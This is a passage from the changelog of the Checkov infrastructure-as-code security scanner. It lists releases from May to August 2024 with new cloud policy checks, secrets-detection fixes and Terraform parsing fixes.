[#6655](https://github.com/bridgecrewio/checkov/pull/6655)\n- **secrets:** Revert remove dups  - [#6656](https://github.com/bridgecrewio/checkov/pull/6656)\n- **terraform:** Don't pass existed resources in non_exists resource checks - [#6653](https://github.com/bridgecrewio/checkov/pull/6653)\n\n## [3.2.223](https://github.com/bridgecrewio/checkov/compare/3.2.221...3.2.223) - 2024-08-13\n\n### Bug Fix\n\n- **secrets:** remove duplications in secrets - [#6648](https://github.com/bridgecrewio/checkov/pull/6648)\n- **secrets:** revert fixing duplications - [#6652](https://github.com/bridgecrewio/checkov/pull/6652)\n\n## [3.2.221](https://github.com/bridgecrewio/checkov/compare/3.2.219...3.2.221) - 2024-08-12\n\n### Bug Fix\n\n- **terraform:** evaluate resource with double underscore - [#6642](https://github.com/bridgecrewio/checkov/pull/6642)\n\n## [3.2.219](https://github.com/bridgecrewio/checkov/compare/3.2.217...3.2.219) - 2024-08-05\n\n### Feature\n\n- **general:** support multiple frameworks in one custom policy - [#6587](https://github.com/bridgecrewio/checkov/pull/6587)\n- **terraform:** Add run policy for RDS encryption in transit - [#6631](https://github.com/bridgecrewio/checkov/pull/6631)\n\n### Documentation\n\n- **general:** Add OpenTofu - [#6627](https://github.com/bridgecrewio/checkov/pull/6627)\n\n## [3.2.217](https://github.com/bridgecrewio/checkov/compare/3.2.216...3.2.217) - 2024-07-31\n\n- no noteworthy changes\n\n## [3.2.216](https://github.com/bridgecrewio/checkov/compare/3.2.213...3.2.216) - 2024-07-30\n\n### Feature\n\n- **sast:** Verify that all sast policies are parsed correctly - [#6621](https://github.com/bridgecrewio/checkov/pull/6621)\n\n### Bug Fix\n\n- **secrets:** fix secrets duplication - [#6619](https://github.com/bridgecrewio/checkov/pull/6619)\n- **secrets:** fix secrets duplication - Revert - [#6623](https://github.com/bridgecrewio/checkov/pull/6623)\n\n## [3.2.213](https://github.com/bridgecrewio/checkov/compare/3.2.209...3.2.213) - 2024-07-29\n\n### Feature\n\n- **arm:** ARM AppServiceInstanceMinimum - CKV_AZURE_212 - [#6502](https://github.com/bridgecrewio/checkov/pull/6502)\n- **terraform:** - TF and CFN - Add a policy for ensuring AWS Bedrock Agent is encrypted with a CMK - [#6603](https://github.com/bridgecrewio/checkov/pull/6603)\n\n### Bug Fix\n\n- **ansible:** Fix CKV2_ANSIBLE_2 - [#6610](https://github.com/bridgecrewio/checkov/pull/6610)\n- **arm:** Support upper and lower disabled for CKV_AZURE_189 - [#6609](https://github.com/bridgecrewio/checkov/pull/6609)\n- **dockerfile:** Fix edge case with apt in domain - [#6611](https://github.com/bridgecrewio/checkov/pull/6611)\n- **terraform_plan:** Fix parsing other types of provisioners - [#6606](https://github.com/bridgecrewio/checkov/pull/6606)\n- **terraform:** add condition for CKV_AWS_353 - [#6607](https://github.com/bridgecrewio/checkov/pull/6607)\n- **terraform:** catch unknowns with WAF configs - [#6612](https://github.com/bridgecrewio/checkov/pull/6612)\n- **terraform:** Handle default for CKV_GCP_76 - [#6608](https://github.com/bridgecrewio/checkov/pull/6608)\n\n## [3.2.209](https://github.com/bridgecrewio/checkov/compare/3.2.208...3.2.209) - 2024-07-28\n\n### Feature\n\n- **cloudformation:** Enrich cloudsplaining eval keys - [#6602](https://github.com/bridgecrewio/checkov/pull/6602)\n\n### Documentation\n\n- **general:** add --repo-id to relevant examples with API key - [#6605](https://github.com/bridgecrewio/checkov/pull/6605)\n\n## [3.2.208](https://github.com/bridgecrewio/checkov/compare/3.2.204...3.2.208) - 2024-07-25\n\n### Feature\n\n- **general:** filter resource by provider for all resources types - [#6598](https://github.com/bridgecrewio/checkov/pull/6598)\n- **secrets:** add CKV_SECRET_192 to GENERIC_PRIVATE_KEY_CHECK_IDS - [#6600](https://github.com/bridgecrewio/checkov/pull/6600)\n- **terraform:** Update ckv-aws-8 policy - support unknown statement  - [#6596](https://github.com/bridgecrewio/checkov/pull/6596)\n\n### Bug Fix\n\n- **terraform:** Fix resource type for CKV_AZURE_242 - [#6599](https://github.com/bridgecrewio/checkov/pull/6599)\n\n### Platform\n\n- **general:** handle multiple values for the same metadata filter - [#6604](https://github.com/bridgecrewio/checkov/pull/6604)\n\n## [3.2.204](https://github.com/bridgecrewio/checkov/compare/3.2.201...3.2.204) - 2024-07-24\n\n### Feature\n\n- **arm:** add CKV_AZURE_191 to ensure that Managed identity provider is enabled for Azure Event Grid Topic - [#6496](https://github.com/bridgecrewio/checkov/pull/6496)\n\n### Bug Fix\n\n- **sast:** BCE-36172 fix cdk policies - [#6588](https://github.com/bridgecrewio/checkov/pull/6588)\n\n## [3.2.201](https://github.com/bridgecrewio/checkov/compare/3.2.199...3.2.201) - 2024-07-23\n\n### Feature\n\n- **terraform:** add 14 rules for tencentcloud provider - [#6448](https://github.com/bridgecrewio/checkov/pull/6448)\n\n### Bug Fix\n\n- **secrets:** fix secrets prerun bug - [#6594](https://github.com/bridgecrewio/checkov/pull/6594)\n- **terraform:** Exclude String in CKV_AWS_337 - [#6592](https://github.com/bridgecrewio/checkov/pull/6592)\n\n## [3.2.199](https://github.com/bridgecrewio/checkov/compare/3.2.196...3.2.199) - 2024-07-22\n\n### Feature\n\n- **arm:** add CKV_AZURE_87 to ensure that Azure Defender is set to On for Key Vault - [#6418](https://github.com/bridgecrewio/checkov/pull/6418)\n- **arm:** ARM VnetSingleDNSServer - [#6379](https://github.com/bridgecrewio/checkov/pull/6379)\n- **secrets:** Adding the option to prerun before multiline pattern executing - [#6586](https://github.com/bridgecrewio/checkov/pull/6586)\n- **secrets:** If the prrun regex found but we already scanned file we already scann… - [#6591](https://github.com/bridgecrewio/checkov/pull/6591)\n\n## [3.2.196](https://github.com/bridgecrewio/checkov/compare/3.2.194...3.2.196) - 2024-07-21\n\n### Feature\n\n- **general:** Add metadata exception filter to GHA - [#6583](https://github.com/bridgecrewio/checkov/pull/6583)\n- **general:** Refactor all resource type handling in Checkov - [#6572](https://github.com/bridgecrewio/checkov/pull/6572)\n\n## [3.2.194](https://github.com/bridgecrewio/checkov/compare/3.2.193...3.2.194) - 2024-07-18\n\n### Feature\n\n- **arm:** AKSEncryptionAtHostEnable - [#6575](https://github.com/bridgecrewio/checkov/pull/6575)\n- **arm:** AKSEphemeralOSDisks - [#6578](https://github.com/bridgecrewio/checkov/pull/6578)\n- **arm:** CKV_AZURE_92 to Ensure that Virtual Machines use managed disks - [#6455](https://github.com/bridgecrewio/checkov/pull/6455)\n- **arm:** FrontDoorWAFACLCVE202144228 - Mitigates the Log4j2 vulnerability CVE-2021-44228. - [#6419](https://github.com/bridgecrewio/checkov/pull/6419)\n\n### Bug Fix\n\n- **general:** fix the right numbers in TestSkipJsonRegexPattern - [#6580](https://github.com/bridgecrewio/checkov/pull/6580)\n- **terraform:** Fix title of CKV_AZURE_238 - [#6570](https://github.com/bridgecrewio/checkov/pull/6570)\n\n## [3.2.193](https://github.com/bridgecrewio/checkov/compare/3.2.191...3.2.193) - 2024-07-17\n\n### Bug Fix\n\n- **terraform:** fix failures of no caller on definition context - [#6573](https://github.com/bridgecrewio/checkov/pull/6573)\n- **terraform:** TFPlan + TF fixes for google_project_iam_policy + google_iam_policy - [#6577](https://github.com/bridgecrewio/checkov/pull/6577)\n\n## [3.2.191](https://github.com/bridgecrewio/checkov/compare/3.2.190...3.2.191) - 2024-07-16\n\n### Bug Fix\n\n- **general:** fix sca unit tests for python 3.12 - [#6574](https://github.com/bridgecrewio/checkov/pull/6574)\n\n## [3.2.190](https://github.com/bridgecrewio/checkov/compare/3.2.189...3.2.190) - 2024-07-15\n\n- no noteworthy changes\n\n## [3.2.189](https://github.com/bridgecrewio/checkov/compare/3.2.186...3.2.189) - 2024-07-14\n\n### Feature\n\n- **arm:** add CKV_AZURE_169 to ensure that AKS use the Paid Sku for its SLA - [#6545](https://github.com/bridgecrewio/checkov/pull/6545)\n- **arm:** add CKV_AZURE_177 to ensure that Windows VM enables automatic updates - [#6484](https://github.com/bridgecrewio/checkov/pull/6484)\n- **cloudformation:** Update audit_logs valid values - [#6566](https://github.com/bridgecrewio/checkov/pull/6566)\n\n## [3.2.186](https://github.com/bridgecrewio/checkov/compare/3.2.183...3.2.186) - 2024-07-11\n\n### Feature\n\n- **azure:** add new policies for Azure Synapse (tf and arm) - [#6554](https://github.com/bridgecrewio/checkov/pull/6554)\n- **bicep:** support bicep custom policy - [#6561](https://github.com/bridgecrewio/checkov/pull/6561)\n\n### Bug Fix\n\n- **arm:** CKV_AZURE_56 just for authsettingsV2 name - [#6557](https://github.com/bridgecrewio/checkov/pull/6557)\n- **secrets:** filter secrets that have vault: in them - [#6565](https://github.com/bridgecrewio/checkov/pull/6565)\n\n## [3.2.183](https://github.com/bridgecrewio/checkov/compare/3.2.179...3.2.183) - 2024-07-10\n\n### Feature\n\n- **terraform_plan:** support tf_plan after_unknown enrichment - [#6517](https://github.com/bridgecrewio/checkov/pull/6517)\n\n### Bug Fix\n\n- **secrets:** small fix for filtering - [#6562](https://github.com/bridgecrewio/checkov/pull/6562)\n\n### Platform\n\n- **general:** pass repo ID to runconfig - [#6560](https://github.com/bridgecrewio/checkov/pull/6560)\n\n## [3.2.179](https://github.com/bridgecrewio/checkov/compare/3.2.177...3.2.179) - 2024-07-09\n\n### Feature\n\n- **arm:** add CKV_AZURE_206 to ensure that Storage Accounts use replication - [#6524](https://github.com/bridgecrewio/checkov/pull/6524)\n- **arm:** BCE-33785 Support Azure Synapse Analytics policies - [#6513](https://github.com/bridgecrewio/checkov/pull/6513)\n\n## [3.2.177](https://github.com/bridgecrewio/checkov/compare/3.2.175...3.2.177) - 2024-07-08\n\n### Bug Fix\n\n- **sast:** fix cdk policies - [#6552](https://github.com/bridgecrewio/checkov/pull/6552)\n\n## [3.2.175](https://github.com/bridgecrewio/checkov/compare/3.2.174...3.2.175) - 2024-07-07\n\n### Feature\n\n- **arm:** AzureSearchSQLQueryUpdates - [#6543](https://github.com/bridgecrewio/checkov/pull/6543)\n\n## [3.2.174](https://github.com/bridgecrewio/checkov/compare/3.2.171...3.2.174) - 2024-07-04\n\n### Feature\n\n- **arm:** add CKV_AZURE_172 to ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters - [#6533](https://github.com/bridgecrewio/checkov/pull/6533)\n- **arm:** add CKV_AZURE_173 to ensure that API management uses at least TLS 1.2 - [#6478](https://github.com/bridgecrewio/checkov/pull/6478)\n- **arm:** AppServicePlanZoneRedundant - [#6472](https://github.com/bridgecrewio/checkov/pull/6472)\n- **arm:** AzureSearchSLAIndex - [#6530](https://github.com/bridgecrewio/checkov/pull/6530)\n- **arm:** SQLDatabaseZoneRedundant - [#6515](https://github.com/bridgecrewio/checkov/pull/6515)\n- **azure:** add new policies for Azure Synapse - [#6520](https://github.com/bridgecrewio/checkov/pull/6520)\n- **general:** update detect secrets package - [#6535](https://github.com/bridgecrewio/checkov/pull/6535)\n\n## [3.2.171](https://github.com/bridgecrewio/checkov/compare/3.2.164...3.2.171) - 2024-07-03\n\n### Feature\n\n- **arm:** add CKV_AZURE_171 to ensure that AKS cluster upgrade channel is chosen - [#6532](https://github.com/bridgecrewio/checkov/pull/6532)\n- **arm:** add CKV_AZURE_175 to ensure that Web PubSub uses a SKU with an SLA - [#6523](https://github.com/bridgecrewio/checkov/pull/6523)\n- **arm:** add CKV_AZURE_178 to ensure that linux VM enables SSH with keys for secure communication - [#6486](https://github.com/bridgecrewio/checkov/pull/6486)\n- **arm:** add CKV_AZURE_85 to ensure that Azure Defender is set to On for Kubernetes - [#6279](https://github.com/bridgecrewio/checkov/pull/6279)\n- **arm:** CKV_AZURE_99 to Ensure Cosmos DB accounts have restricted access - [#6498](https://github.com/bridgecrewio/checkov/pull/6498)\n- **arm:** DataFactoryNoPublicNetworkAccess - [#6479](https://github.com/bridgecrewio/checkov/pull/6479)\n- **arm:** DataLakeStoreEncryption - [#6516](https://github.com/bridgecrewio/checkov/pull/6516)\n- **arm:** EventHubNamespaceMinTLS12 - [#6485](https://github.com/bridgecrewio/checkov/pull/6485)\n\n### Bug Fix\n\n- **openapi:** [CKV_OPENAPI_3] Prevent false-positive when checking for http+!basic - [#6406](https://github.com/bridgecrewio/checkov/pull/6406)\n- **terraform_json:** support locals block in CDKTF output - [#6452](https://github.com/bridgecrewio/checkov/pull/6452)\n- **terraform:** Deprecate CKV2_AWS_67 - [#6529](https://github.com/bridgecrewio/checkov/pull/6529)\n\n## [3.2.164](https://github.com/bridgecrewio/checkov/compare/3.2.163...3.2.164) - 2024-07-02\n\n### Documentation\n\n- **general:** Add Python note - [#6521](https://github.com/bridgecrewio/checkov/pull/6521)\n\n## [3.2.163](https://github.com/bridgecrewio/checkov/compare/3.2.159...3.2.163) - 2024-07-01\n\n### Feature\n\n- **arm:** add CKV_AZURE_174 to ensure that API management public access is disabled - [#6480](https://github.com/bridgecrewio/checkov/pull/6480)\n- **arm:** AppServicePHPVersion - [#6436](https://github.com/bridgecrewio/checkov/pull/6436)\n- **arm:** AppServicePublicAccessDisabled - [#6467](https://github.com/bridgecrewio/checkov/pull/6467)\n- **arm:** KeyVaultEnablesPurgeProtection - [#6465](https://github.com/bridgecrewio/checkov/pull/6465)\n- **arm:** PubsubSpecifyIdentity - [#6483](https://github.com/bridgecrewio/checkov/pull/6483)\n\n## [3.2.159](https://github.com/bridgecrewio/checkov/compare/3.2.156...3.2.159) - 2024-06-30\n\n### Bug Fix\n\n- **arm:** fix CKV_AZURE_78: `siteConfig` object should be under `properties` - [#6477](https://github.com/bridgecrewio/checkov/pull/6477)\n- **general:** Mypy issues - [#6510](https://github.com/bridgecrewio/checkov/pull/6510)\n- **terraform:** ignore comment out modules  - [#6507](https://github.com/bridgecrewio/checkov/pull/6507)\n\n## [3.2.156](https://github.com/bridgecrewio/checkov/compare/3.2.145...3.2.156) - 2024-06-27\n\n### Feature\n\n- **arm:** add CKV_AZURE_129 Ensure that MariaDB server enables geo-redundant backups  - [#6427](https://github.com/bridgecrewio/checkov/pull/6427)\n- **arm:** add CKV_AZURE_137 Ensure ACR admin account is disabled - [#6430](https://github.com/bridgecrewio/checkov/pull/6430)\n- **arm:** add CKV_AZURE_139 Ensure ACR set to disable public networking - [#6428](https://github.com/bridgecrewio/checkov/pull/6428)\n- **arm:** add CKV_AZURE_166 Ensure container image quarantine, scan, and mark images verified - [#6431](https://github.com/bridgecrewio/checkov/pull/6431)\n- **arm:** add CKV_AZURE_168 to ensure that Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods - [#6385](https://github.com/bridgecrewio/checkov/pull/6385)\n- **arm:** add CKV_AZURE_45 to ensure that no sensitive credentials are exposed in VM custom_data - [#6422](https://github.com/bridgecrewio/checkov/pull/6422)\n- **arm:** add CKV_AZURE_70 to ensure that Function apps is only accessible over HTTPS - [#6457](https://github.com/bridgecrewio/checkov/pull/6457)\n- **arm:** ARM AppServiceSlotDebugDisabled - CKV_AZURE_155 - [#6453](https://github.com/bridgecrewio/checkov/pull/6453)\n- **arm:** ARM AppServiceSlotHTTPSOnly - [#6454](https://github.com/bridgecrewio/checkov/pull/6454)\n- **arm:** ARM VnetLocalDNS - [#6424](https://github.com/bridgecrewio/checkov/pull/6424)\n- **arm:** PostgressSQLGeoBackupEnabled - [#6456](https://github.com/bridgecrewio/checkov/pull/6456)\n- **arm:** StorageAccountName - [#6426](https://github.com/bridgecrewio/checkov/pull/6426)\n- **secrets:** dont filter secrets - [#6508](https://github.com/bridgecrewio/checkov/pull/6508)\n\n### Bug Fix\n\n- **azure:** fix description of CKV_AZURE_236 - [#6503](https://github.com/bridgecrewio/checkov/pull/6503)\n- **kubernetes:** Fix CKV_K8S_31 for CronJobs - [#6506](https://github.com/bridgecrewio/checkov/pull/6506)\n- **sca:** fix parsing json with comments - [#6509](https://github.com/bridgecrewio/checkov/pull/6509)\n- **terraform:** CKV_AWS_339 add Kubernetes 1.30 to AWS EKS version checks - [#6353](https://github.com/bridgecrewio/checkov/pull/6353)\n- **terraform:** remove print from CKV_AWS_364 - [#6504](https://github.com/bridgecrewio/checkov/pull/6504)\n\n## [3.2.145](https://github.com/bridgecrewio/checkov/compare/3.2.144...3.2.145) - 2024-06-25\n\n### Documentation\n\n- **general:** Note for feature requests - [#6497](https://github.com/bridgecrewio/checkov/pull/6497)\n\n## [3.2.144](https://github.com/bridgecrewio/checkov/compare/3.2.141...3.2.144) - 2024-06-23\n\n### Bug Fix\n\n- **kubernetes:** ensure seccompProfile is set to RuntimeDefault for all containers in deployments and similar resources - [#6459](https://github.com/bridgecrewio/checkov/pull/6459)\n- **terraform:** Add more conditions for CKV_AWS_70 - [#6464](https://github.com/bridgecrewio/checkov/pull/6464)\n\n## [3.2.141](https://github.com/bridgecrewio/checkov/compare/3.2.140...3.2.141) - 2024-06-19\n\n### Bug Fix\n\n- **secrets:** dedup secrets history values - [#6462](https://github.com/bridgecrewio/checkov/pull/6462)\n\n## [3.2.140](https://github.com/bridgecrewio/checkov/compare/3.2.138...3.2.140) - 2024-06-18\n\n### Feature\n\n- **azure:** fix ckv_azure_189 according to docs - [#6413](https://github.com/bridgecrewio/checkov/pull/6413)\n\n### Bug Fix\n\n- **sca:** Support parsing json with comments - [#6466](https://github.com/bridgecrewio/checkov/pull/6466)\n\n### Documentation\n\n- **general:** fix pre-commit link - [#6433](https://github.com/bridgecrewio/checkov/pull/6433)\n\n## [3.2.138](https://github.com/bridgecrewio/checkov/compare/3.2.136...3.2.138) - 2024-06-17\n\n### Feature\n\n- **graph:** support creation of resource type allow/deny lists - [#6451](https://github.com/bridgecrewio/checkov/pull/6451)\n\n### Bug Fix\n\n- **terraform:** Fix name of CKV2_AWS_67 to be more clear - [#6434](https://github.com/bridgecrewio/checkov/pull/6434)\n- **terraform:** Fix when apt is in rm statement - [#6437](https://github.com/bridgecrewio/checkov/pull/6437)\n- **terraform:** Update CKV_AWS_224 title - [#6435](https://github.com/bridgecrewio/checkov/pull/6435)\n\n## [3.2.136](https://github.com/bridgecrewio/checkov/compare/3.2.133...3.2.136) - 2024-06-13\n\n### Bug Fix\n\n- **arm:** Correct AzureMLWorkspacePrivateEndpoint rule check logic - [#6432](https://github.com/bridgecrewio/checkov/pull/6432)\n- **general:** removed references Putin references - [#6445](https://github.com/bridgecrewio/checkov/pull/6445)\n\n## [3.2.133](https://github.com/bridgecrewio/checkov/compare/3.2.130...3.2.133) - 2024-06-10\n\n### Feature\n\n- **general:** add AI_AND_ML to CheckCategories - [#6423](https://github.com/bridgecrewio/checkov/pull/6423)\n\n### Bug Fix\n\n- **sast:** Update CKV IDs for CDK policies - [#6415](https://github.com/bridgecrewio/checkov/pull/6415)\n\n## [3.2.130](https://github.com/bridgecrewio/checkov/compare/3.2.128...3.2.130) - 2024-06-09\n\n### Feature\n\n- **arm:** add CKV_AZURE_135 to ensure Application Gateway WAF prevents message lookup in Log4j2.  - [#6364](https://github.com/bridgecrewio/checkov/pull/6364)\n- **arm:** add CKV_AZURE_140 to ensure that Local Authentication is disabled on CosmosDB - [#6329](https://github.com/bridgecrewio/checkov/pull/6329)\n- **arm:** add CKV_AZURE_163  Enable vulnerability scanning for container images - [#6339](https://github.com/bridgecrewio/checkov/pull/6339)\n- **arm:** add MariaDbPublicAccessDisabled convert policy to arm - [#6246](https://github.com/bridgecrewio/checkov/pull/6246)\n- **arm:** AKSLocalAdminDisabled - [#6334](https://github.com/bridgecrewio/checkov/pull/6334)\n- **arm:** AppServiceFTPSState - [#6363](https://github.com/bridgecrewio/checkov/pull/6363)\n- **arm:** AzureServiceFabricClusterProtectionLevel - [#6366](https://github.com/bridgecrewio/checkov/pull/6366)\n- **arm:** ensure ACR disables anonymous pulling of images (CKV_AZURE_138) - [#6373](https://github.com/bridgecrewio/checkov/pull/6373)\n- **arm:** KeyVaultDisablesPublicNetworkAccess - [#6342](https://github.com/bridgecrewio/checkov/pull/6342)\n- **arm:** PostgreSQLServerPublicAccessDisabled - [#6330](https://github.com/bridgecrewio/checkov/pull/6330)\n- **terraform:** extract image referencers for AWS SageMaker - [#6408](https://github.com/bridgecrewio/checkov/pull/6408)\n\n### Bug Fix\n\n- **ansible:** add dict check in create_tasks_vertices - [#6417](https://github.com/bridgecrewio/checkov/pull/6417)\n\n## [3.2.128](https://github.com/bridgecrewio/checkov/compare/3.2.125...3.2.128) - 2024-06-06\n\n### Feature\n\n- **azure:** drop support for dotnet v7.0 - [#6383](https://github.com/bridgecrewio/checkov/pull/6383)\n- **general:** Image Referencer should not run for CI workflow files - [#6386](https://github.com/bridgecrewio/checkov/pull/6386)\n- **secrets:** Add _prioritise_secrets by 3 levels of severity - [#6390](https://github.com/bridgecrewio/checkov/pull/6390)\n- **terraform:** add 5 policies - [#6401](https://github.com/bridgecrewio/checkov/pull/6401)\n- **terraform:** add 6 policies - [#6396](https://github.com/bridgecrewio/checkov/pull/6396)\n- **terraform:** add fix for ckv_aws_300 - [#6404](https://github.com/bridgecrewio/checkov/pull/6404)\n- **terraform:** add fix for not contains solver - [#6389](https://github.com/bridgecrewio/checkov/pull/6389)\n\n### Bug Fix\n\n- **ansible:** filter conf if its int or float - [#6409](https://github.com/bridgecrewio/checkov/pull/6409)\n- **general:** add try except gihub_action read file - [#6411](https://github.com/bridgecrewio/checkov/pull/6411)\n- **general:** bitbucket integration test failure - [#6407](https://github.com/bridgecrewio/checkov/pull/6407)\n- **general:** CKV2_AZURE_50 generates false positive azurerm_storage_account violations - [#6391](https://github.com/bridgecrewio/checkov/pull/6391)\n- **sast:** add log for sast on windows - [#6397](https://github.com/bridgecrewio/checkov/pull/6397)\n\n## [3.2.125](https://github.com/bridgecrewio/checkov/compare/3.2.124...3.2.125) - 2024-06-03\n\n### Feature\n\n- **arm:** Add check for AzureML workspace not configured with private endpoint - [#6387](https://github.com/bridgecrewio/checkov/pull/6387)\n\n## [3.2.124](https://github.com/bridgecrewio/checkov/compare/3.2.122...3.2.124) - 2024-06-02\n\n### Feature\n\n- **azure:** Add policy to ensure proper AzureML Workspace network access - [#6362](https://github.com/bridgecrewio/checkov/pull/6362)\n- **azure:** Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible - [#6368](https://github.com/bridgecrewio/checkov/pull/6368)\n\n## [3.2.122](https://github.com/bridgecrewio/checkov/compare/3.2.121...3.2.122) - 2024-06-01\n\n### Feature\n\n- **arm:** AppServicePythonVersion - 82 check the 'python version' is the latest, if used to run the web app - [#6282](https://github.com/bridgecrewio/checkov/pull/6282)\n\n## [3.2.121](https://github.com/bridgecrewio/checkov/compare/3.2.119...3.2.121) - 2024-05-31\n\n### Feature\n\n- **terraform:** AWS SageMaker notebook instance KMS Key - [#6374](https://github.com/bridgecrewio/checkov/pull/6374)\n- **terraform:** CognitiveServicesConfigureIdentity - new check - [#6378](https://github.com/bridgecrewio/checkov/pull/6378)\n- **terraform:** Ensure that Cognitive Services accounts enable local authentication - new check - [#6377](https://github.com/bridgecrewio/checkov/pull/6377)\n\n## [3.2.119](https://github.com/bridgecrewio/checkov/compare/3.2.112...3.2.119) - 2024-05-30\n\n### Feature\n\n- **arm:** add FunctionAppsEnableAuthentication - Checking if a certain field exists - [#6250](https://github.com/bridgecrewio/checkov/pull/6250)\n- **terraform:** Add more conditions to CKV_AWS_70 - [#6371](https://github.com/bridgecrewio/checkov/pull/6371)\n- **terraform:** Added the CKV2_AWS_68 Check for TF and CFN - [#6369](https://github.com/bridgecrewio/checkov/pull/6369)\n\n### Bug Fix\n\n- **ansible:** set task as ansible vertices config - [#6376](https://github.com/bridgecrewio/checkov/pull/6376)\n- **terraform:** for_each/count attribute wasn't rendering if referencing a dynamic variable of a higher level module - [#6372](https://github.com/bridgecrewio/checkov/pull/6372)\n\n## [3.2.112](https://github.com/bridgecrewio/checkov/compare/3.2.108...3.2.112) - 2024-05-29\n\n### Feature\n\n- **terraform:** Add provider address to resources - [#6266](https://github.com/bridgecrewio/checkov/pull/6266)\n- **terraform:** Support for count & for_each in data blocks - [#6359](https://github.com/bridgecrewio/checkov/pull/6359)\n\n### Bug Fix\n\n- **terraform:** Fix an issue for loading tfvars + issue in the dynamic rendering - [#6360](https://github.com/bridgecrewio/checkov/pull/6360)\n\n## [3.2.108](https://github.com/bridgecrewio/checkov/compare/3.2.107...3.2.108) - 2024-05-26\n\n### Bug Fix\n\n- **sast:** don't scan hidden files - [#6349](https://github.com/bridgecrewio/checkov/pull/6349)\n\n## [3.2.107](https://github.com/bridgecrewio/checkov/compare/3.2.106...3.2.107) - 2024-05-24\n\n### Bug Fix\n\n- **terraform:** Handle registry modules with a version in CKF_TF_2 - [#6354](https://github.com/bridgecrewio/checkov/pull/6354)\n\n## [3.2.106](https://github.com/bridgecrewio/checkov/compare/3.2.105...3.2.106) - 2024-05-23\n\n### Feature\n\n- **arm:** Ensure Databricks Workspace data plane to control plane co… - [#6319](https://github.com/bridgecrewio/checkov/pull/6319)\n- **general:** TF and ARM - Ensure that Databricks Workspaces enable… - [#6313](https://github.com/bridgecrewio/checkov/pull/6313)\n- **secrets:** Bump detect-secrets - [#6346](https://github.com/bridgecrewio/checkov/pull/6346)\n\n## [3.2.105](https://github.com/bridgecrewio/checkov/compare/3.2.100...3.2.105) - 2024-05-22\n\n### Feature\n\n- **arm:** add AppServiceJavaVersion - [#6258](https://github.com/bridgecrewio/checkov/pull/6258)\n- **arm:** add CKV_AZURE_145 to check that the function app uses the latest version of TLS encryption - [#6323](https://github.com/bridgecrewio/checkov/pull/6323)\n- **arm:** add CKV_AZURE_218 to ensure that Application Gateway defines secure protocols for in transit communicationApp gw defines secure protocols - [#6320](https://github.com/bridgecrewio/checkov/pull/6320)\n- **arm:** add CKV_AZURE_54 to ensure Enforce a minimal Tls version for the server - [#6270](https://github.com/bridgecrewio/checkov/pull/6270)\n- **arm:** add CKV_AZURE_71 to  Ensure that Managed identity provider is enabled for web apps - [#6272](https://github.com/bridgecrewio/checkov/pull/6272)\n- **arm:** add CKV_AZURE_72 to ensure that remote debugging is not enabled for app services - [#6281](https://github.com/bridgecrewio/checkov/pull/6281)\n- **arm:** AzureDefenderOStorage - [#6269](https://github.com/bridgecrewio/checkov/pull/6269)\n- **arm:** MySQLPublicAccessDisabled-Azure MySQL: Restrict Public Access - [#6263](https://github.com/bridgecrewio/checkov/pull/6263)\n- **arm:** StorageSyncPublicAccessDisabled - [#6331](https://github.com/bridgecrewio/checkov/pull/6331)\n- **secrets:** eliminate false positives in entropy keyword combinator detector - [#6327](https://github.com/bridgecrewio/checkov/pull/6327)\n\n### Bug Fix\n\n- **ansible:** fix ansible resource id in local graph - [#6344](https://github.com/bridgecrewio/checkov/pull/6344)\n- **secrets:** fix entropy type - [#6347](https://github.com/bridgecrewio/checkov/pull/6347)\n\n## [3.2.100](https://github.com/bridgecrewio/checkov/compare/3.2.98...3.2.100) - 2024-05-21\n\n### Feature\n\n- **sast:** TS-legacy-checks - [#6311](https://github.com/bridgecrewio/checkov/pull/6311)\n- **secrets:** entropy limit as env variable - [#6332](https://github.com/bridgecrewio/checkov/pull/6332)\n\n## [3.2.98](https://github.com/bridgecrewio/checkov/compare/3.2.97...3.2.98) - 2024-05-20\n\n### Bug Fix\n\n- **terraform:** Remove invalid CIDRs in CKV2_AWS_44 - [#6301](https://github.com/bridgecrewio/checkov/pull/6301)\n\n## [3.2.97](https://github.com/bridgecrewio/checkov/compare/3.2.95...3.2.97) - 2024-05-19\n\n### Feature\n\n- **arm:** add CKV_AZURE_73 to ensure that Automation account variables are encrypted - [#6271](https://github.com/bridgecrewio/checkov/pull/6271)\n- **arm:** add CKV_AZURE_76 to ensure that Azure Batch account uses key vault to encrypt data - [#6280](https://github.com/bridgecrewio/checkov/pull/6280)\n- **arm:** add FunctionAppDisallowCORS - password correctness check - [#6248](https://github.com/bridgecrewio/checkov/pull/6248)\n- **arm:** ARM FunctionAppHttpVersionLatest policy - [#6244](https://github.com/bridgecrewio/checkov/pull/6244)\n- **arm:** CKV_AZURE_74 to Ensure that Azure Data Explorer (Kusto) uses disk encryption - [#6273](https://github.com/bridgecrewio/checkov/pull/6273)\n- **arm:** MSSQLServerMinTLSVersion - [#6245](https://github.com/bridgecrewio/checkov/pull/6245)\n\n## [3.2.95](https://github.com/bridgecrewio/checkov/compare/3.2.94...3.2.95) - 2024-05-17\n\n### Bug Fix\n\n- **terraform:** handle module source tag ref when it is not the first parameter - [#6314](https://github.com/bridgecrewio/checkov/pull/6314)\n\n## [3.2.94](https://github.com/bridgecrewio/checkov/compare/3.2.92...3.2.94) - 2024-05-16\n\n### Bug Fix\n\n- **sast:** fix random test sast js - [#6315](https://github.com/bridgecrewio/checkov/pull/6315)\n\n### Platform\n\n- **general:** Double-Encode URI for RelayState Parameter - [#6302](https://github.com/bridgecrewio/checkov/pull/6302)\n\n## [3.2.92](https://github.com/bridgecrewio/checkov/compare/3.2.91...3.2.92) - 2024-05-15\n\n### Feature\n\n- **sast:** CDK TypeScript policies - [#6161](https://github.com/bridgecrewio/checkov/pull/6161)\n- **terraform:** add check for tf module versioned tag - [#6213](https://github.com/bridgecrewio/checkov/pull/6213)\n\n### Bug Fix\n\n- **secrets:** secret_filter_block_list filter by file name and suffixes - [#6285](https://github.com/bridgecrewio/checkov/pull/6285)\n- **secrets:** secret_filter_block_list filter by file name and suffixes 2 - [#6306](https://github.com/bridgecrewio/checkov/pull/6306)\n\n### Platform\n\n- **general:** Fix policy.name to use the spaces as specified on CLI. - [#6296](https://github.com/bridgecrewio/checkov/pull/6296)\n\n## [3.2.91](https://github.com/bridgecrewio/checkov/compare/3.2.90...3.2.91) - 2024-05-12\n\n### Feature\n\n- **secrets:** bump bc-detect-secrets to 1.5.10 - [#6297](https://github.com/bridgecrewio/checkov/pull/6297)\n\n## 